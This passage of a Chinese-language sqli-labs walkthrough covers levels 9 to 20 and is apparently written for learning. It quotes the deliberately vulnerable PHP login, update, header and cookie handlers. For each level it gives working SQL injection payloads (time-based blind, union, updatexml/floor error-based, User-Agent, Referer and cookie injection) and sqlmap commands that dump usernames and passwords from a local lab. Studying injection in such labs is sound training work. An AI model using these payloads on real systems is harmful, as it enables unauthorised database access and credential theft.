//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
实际上就是把
print_r(mysqli_error($con1));
这条给去了
less-9
标题:GET-Blind-Time based single Quotes
我们直接看一下源码
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
我们能看到不管是正确与否,页面都显示"You are in …",只是我们没法从表面上看出来,但不代表SQL注入语句没有执行,怎么看有没有注入呢,我们可以在payload里加一段sleep()语句
sleep()
语法:
sleep(N)
N为数值,单位是秒,加上此值,查询语句会等待N秒执行
这个sleep也得看查询语句有几行,因为它是被当作一个字段
每生成一行数据它就会被执行一次,所以上面是3秒多
假设是两行数据就是6秒多了,所以我们多次输入payload发现结果都一样时可以加一个sleep()函数来看页面响应时间,来推断是不是含有时间盲注
http://localhost/sqli/Less-9/?id=1' and sleep(3)-- -
SELECT * FROM users WHERE id='1' and sleep(3)-- -' LIMIT 0,1
手注的话可以这么写payload
1' and if((substr(database(),1,1))='s',sleep(5),null)
我们可以在开发者工具里看看数据包响应时间,4秒多,说明确实存在注入点
不是回显报错,盲注手注都不太好搞,判断方式跟盲注一样,不过是加了时间的要求,我们直接拿sqlmap跑一下密码
sqlmap -u "192.168.10.189/sqli/Less-9/?id=1" -D security -T users -C "username,password" --dump
less-10
标题:GET - Blind-Time based - double quots
双引号闭合的时间盲注,我们就不挨个试了跟之前回显测试方法一样,就是带着时间去判断,有点费时,我们只是sqlmap跑一下就好
sqlmap说没注入点。。。
less-11
标题POST - Error Based - Single quotes -String
post类型的单引号闭合字符型回显注入,我们看页面其实也能看出来是post类型的注入
我们给个'
就报错了
我们可以猜测后半段查询语句username=‘’ and password=‘’ LIMIT 0,1
我们这时候可以构建一个恒成立的查询语句
' or 1=1 -- -
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
//echo '';
echo "
";
echo '';
//echo " You Have successfully logged in\n\n " ;
echo '';
echo "
";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "
";
echo "";
echo "
";
echo "
";
echo '';
echo "";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "";
echo "";
echo "";
echo '';
echo "";
}
}
?>
payload:' union select group_concat(username),group_concat(password) from users-- -
SELECT username, password FROM users WHERE username='' union select group_concat(username),group_concat(password) from users-- -' and password='' LIMIT 0,1
less-12
标题:POST -Error Based -Double quotes -String - with twist
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
看源码,")
闭合的post型回显字符注入,原理跟11关一样,我们直接拿密码
payload:") union select group_concat(username),group_concat(password) from users -- -
SELECT username, password FROM users WHERE username=("") union select group_concat(username),group_concat(password) from users -- -") and password=("") LIMIT 0,1
less-13
标题:POST-Double injection - Single quotes String - with twist
payload:'
//报错,得知是')闭合
payload:') or 1=1 -- -
//得知是报错型注入,不直接回显值
还是updatexml()、extractvalue()、floor()
payload:') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -
SELECT username, password FROM users WHERE username=('') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -') and password=('') LIMIT 0,1
less-14
标题:POST - Double injection -Single quotes-String-with twist
payload:'
//无回显
需要注意的是
SELECT username, password FROM users WHERE username="'" and password="" LIMIT 0,1
""
闭合以及("")
闭合内的’也是被当作字符串执行的,这时候给个双引号就行,基本可以确定是不是双引号闭合,以及有没有采用mysqli-error($con)
payload:"
//报错,并爆出后半段查询语句 """ and password="" LIMIT 0,1
可以看出是双引号闭合的报错型POST型字符型注入
跟上一个一样,我们给一段payload
admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT username, password FROM users WHERE username="admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -" and password="" LIMIT 0,1
这个floor()报错需要and一个有效值,如果无效值会显示空,这个方法需要我们已知一个信息,那就不太好利用了
假设不知道账号是admin
,那没法报错回显的
less-15
标题:POST - Blind -Boolian/time Based Single quotes
post型布尔或时间单引号盲注,当然我们应该先手测一下嘛
payload:'
//登录失败
payload:' or 1=1 -- -
//登录成功
payload:' or 1=2 -- -
//登录失败
基本可以断定是post型布尔或时间单引号盲注
这种类型的除了猜解以外,还可以采用dns盲打,大家可以参考以下几篇文章
利用DNSLOG获取看不到的信息(给盲注带上眼镜)
mysql dnslog_DNSlog注入踩坑记录:
dnslog盲打学习
使用DNSLog进行盲打
但是说,要想使用此方法需要满足以下几个条件
secure_file_priv为空
root权限
站点的服务器为windows
我个人认为条件相对苛刻,secure_file_priv为空都直接直接挂马了,还盲注什么,大家学习了解还是很有必要的,我还是假设secure_file_priv默认为NULL的情况下进行后面的学习。
sqlmap猜解POST请求数据库
这里我们还是用sqlmap去跑一下,因为现在是post类型的,和之前get类型的还不太一样
可参照利用sqlmap进行POST注入
第一步:burpsuite抓包
把数据包导出来
sqlmap -r "/data_packet/192.168.10.189_less15.txt" -p nname --dbs
sqlmap -r "data_packet/192.168.10.189_less15.txt" -p uname -D security -T users -C "username,password" --dump
less-16
标题:POST - Blind - Boolian/Time Based -Double quotes
post类型布尔或时间双引号盲注,还是先手测一下
payload:'
//登录失败
payload:' or 1=1 -- -
//登录失败
payload:" or 1=1 -- -
//登录失败
payload:') or 1=1 -- -
//登录失败
payload:") or 1=1 -- -
//登录成功
payload:") or 1=2 -- -
//登录失败
基本可以断定 post型")闭合布尔或时间盲注,还是抓包sqlmap跑,我就不跑了,post类型太慢了
我们直接看一下源码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
less-17
标题:POST - Update Query - Error Based String
直接看源码
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$a = 1;
function check_input($con1, $value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($con1, $_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
//echo $row;
if($row)
{
//echo '#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysqli_query($con1, $update);
//echo $update;
echo "
";
if (mysqli_error($con1))
{
echo '';
print_r(mysqli_error($con1));
echo "";
echo "";
}
else
{
echo '';
//echo " You password has been successfully updated " ;
echo "
";
echo "";
}
echo '';
//echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
//echo "Bug off you Silly Dumb hacker";
echo "";
echo '';
echo "";
}
}
?>
一个个来
function check_input($con1, $value)
首先他自定义了一个 check_input()方法
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
empty()
用于检查一个变量是否为空,注意
若为空,返回TRUE
若不为空,返回FALSE
语法:
bool empty ( mixed $var )
bool:指返回值是布尔型
$var:待检查的变量
详见PHP empty() 函数
!
这里是非的意思,就是将empty()返回的值进行一个非逻辑转换
这里意思就是若变量不为空则截取其前15个字符
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
get_magic_quotes_gpc()
详见get_magic_quotes_gpc函数
magic_quotes_gpc函数在php的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符\
,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命错误(就是用\过滤
)
过滤的数据有
单引号(')、双引号(")、反斜杠(\)与NULL(NULL字符)
当magic_quotes_gpc=On
的时候,函数get_magic_quotes_gpc()
就会返回1
当magic_quotes_gpc=Off
的时候,函数get_magic_quotes_gpc()
就会返回0
但是PHP6及以后版本中删除了这个选项,默认magic_quotes_gpc=Off
如何测试呢,可以使用下面的方法
header("Content-Type: text/html;charset=utf-8");//为了让页面不出现乱码
if (get_magic_quotes_gpc())
{
echo 'magic_quotes_gpc 开启';
}
else
{
echo 'magic_quotes_gpc 未开启';
}
?>
stripslashes()
stripslashes()函数删除
addslashes()函数添加的反斜杠。
语法:
stripslashes(string)
addslashes()
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串
这里的意思是若magic_quotes_gpc()=on,则将其自动转义后的字符串再转回去,因为PHP6及以上的magic_quotes_gpc()不存在了,所以此处也无意义了
if (!ctype_digit($value))
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
ctype_digit()
用于检查给定的字符串是否仅包含数字
语法:
bool ctype_digit(string)
返回值是bool型
mysqli_real_escape_string()
此函数转义在SQL语句中使用的字符串中的特殊字符,详见PHP mysqli_real_escape_string() 函数
语法:
mysqli_real_escape_string(connection,escapestring);
connection:必需。规定要使用的 MySQL 连接。
escapestring :必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
intval()
此函数用来获取变量的整数值,使用指定的进制 base 转换(默认是十进制)详见PHP intval() 函数
语法:
int intval ( mixed $var [, int $base = 10 ] )
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
这里大致意思呢就是,对传进来的value值做一个判断,若为字符型则做一个转义,然后用''
括起来,若是数字型则做一个取整
$uname=check_input($con1, $_POST['uname']);
这个check_input()函数处理的值是uname
他实际上做了几件事
1. 对uname长度在后台做了≤15的限制
2. 对字符进行转义
我们看一下转义前和转义后
我们看一下数据库
转义是有可能产生宽字节注入的,参考宽字节注入原理分析,
这里限制了字符串长度,我们先不管宽字节注入,继续看源码
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
passwd是直接拼接的
我们画个流程图,常见的流程图符号如下
这是一个修改密码的页面,我们传值
正确的用户名
和新的密码
即可完成密码修改
首先是对用户名做判断(这里就需要一个正确的用户名,我们只能去burpsuite 抓包爆破
,爆破出用户名)
用户名存在的话直接调用 update
将数据库里password替换为new password
爆破不讲,假设我们已经爆破出账号为admin
我们给一段payload
name:admin
password:'"
//报错
猜测此处有注入,一般name作为查询依据,在where之后,不好做注入,我们直接给个单引号+双引号
,报错可能有注入
给一段payload
查询数据库
name:admin
password:' and(updataxml(1,concat(0x7e,database()),0))-- -
//查询语句
UPDATE users SET password = '' and updatexml(1,concat(0x7e,database()),0)-- -' WHERE username='admin'
less-18
标题:POST - Header injection - Uagent field Error based
http头部报错注入
源码不全贴了,自己打开自己看,只贴部分
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
name和password可以按之前的方式去测,但是人家是对此处做了转义和限制长度的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
获取请求包里两个值
一个是
USER_AGENT
User-Agent是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器!
一个是
REMOTE_ADDR
我查的是获取客户端的IP,但是这里给的好像是服务器的IP,这里我没细琢磨,对我们这里影响不大
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
这是我们的存在注入点的语句,登录成功后,他会向数据库插入下面的数据,属于insert类型的注入
insert类型的注入也是需要配合报错函数updatexml()、extractvalue()、floor()回显信息,保证闭合即可,不过此处的注入点在uagent内
我们修改一下
paylaod
',1,updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),1))#
SQL语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('',1,updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),1))#', '127.0.0.1', 1)
less-19
标题:POST - Header injection Referer field Error based
跟18关一样,不过是Referer 作为insert的值,就这种东西也是要凭感觉,比如name,password要测吗,要测,这种东西还是熟练了,感觉就对了
看源码
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
payload
',updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0))#
查询语句
INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('',updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0))#', '$IP')
less-20
标题:POST - Cookie injections Uagent filed -error based
源码太长了,只摘部分
if(!isset($_COOKIE['uname']))
对数据包内cookie做一个判断,若不存在则返回登录页面,若存在则不返回
setcookie('uname', $cookee, time()+3600);
setcookie()
setcookie()函数向客户端发送一个HTTP cookie。
什么是cookie自己了解,可结合session、token一起了解。详见:PHP setcookie() 函数
语法:
setcookie(name,value,expire,path,domain,secure)
参数 | 描述 |
---|---|
name | 必需。规定cookie的名称 |
value | 必需。规定cookie的值 |
expire | 可选。规定cookie的过期时间。time()+36002430将设置cookie的过期时间为30天。如果这个参数没有设置,那么cookie将在session结束后(即浏览器关闭时)自动失效 |
path | 可选。规定cookie的服务器路径。如果路径设置为"/“,那么cookie将在整个域名内有效,如果路径设置为”/test/",那么cookie将在test目录下及其所有子目录下有效。默认路径值是cookie所处的当前目录 |
domain | 可选。规定cookie的域名。为了让cookie在example.com的所有子域名中有效,您需要把cookie的域名设置为".example.com"。当您把cookie的域名设置为www.example.com时,cookie仅在www子域名中有效。 |
secure | 可选。规定是否需要在安全的HTTPS连接来传输cookie。如果cookie需要在安全的HTTPS连接下传输,则设置为TRUE。默认是FALSE |
$cookee = $row1['username'];
$cookee的值实际上是数据库查询的用户名,当做cookie传给用户
登录成功后的response包
和下次用户请求时的request包
header ('Location: index.php');
header()
header()函数向客户端发送原始的HTTP报头。
认识到一点很重要,即必须在任何实际的输出被发送之前调用 header() 函数
PHP header() 函数
语法:
header(string,replace,http_response_code)
参数 | 描述 |
---|---|
string | 必需。规定要发送的报头字符串 |
replace | 可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是TRUE(替换)。FALSE(运行相同类型的多个报头) |
http_response_code | 可选。把HTTP响应代码强制为指定的值。 |
跳转页面
header(‘Location:’.$url); //Location
和:
之间无空格。
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
date($format, $timestamp)
date()
date()函数可把时间戳格式转化为可读性更好的日期和时间。时间戳是一个字符序列,表示一定的事件发生的日期/时间,详见PHP date() 函数
语法:
string date ( string $format [, int $timestamp ] )
参数 | 描述 |
---|---|
format | 必需。规定时间戳的格式 |
timestamp | 可选。规定时间戳。默认是当前的日期和时间 |
这边就是给你返回一个cookie的过期时间
大致意思,要是不对,大家可以提反正我也不会改
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
这边是查询语句,单引号字符型的,还是以前的步骤
看一下回显
payload
' union select 1,2,3#
' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#
SELECT * FROM users WHERE username='' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#' LIMIT 0,1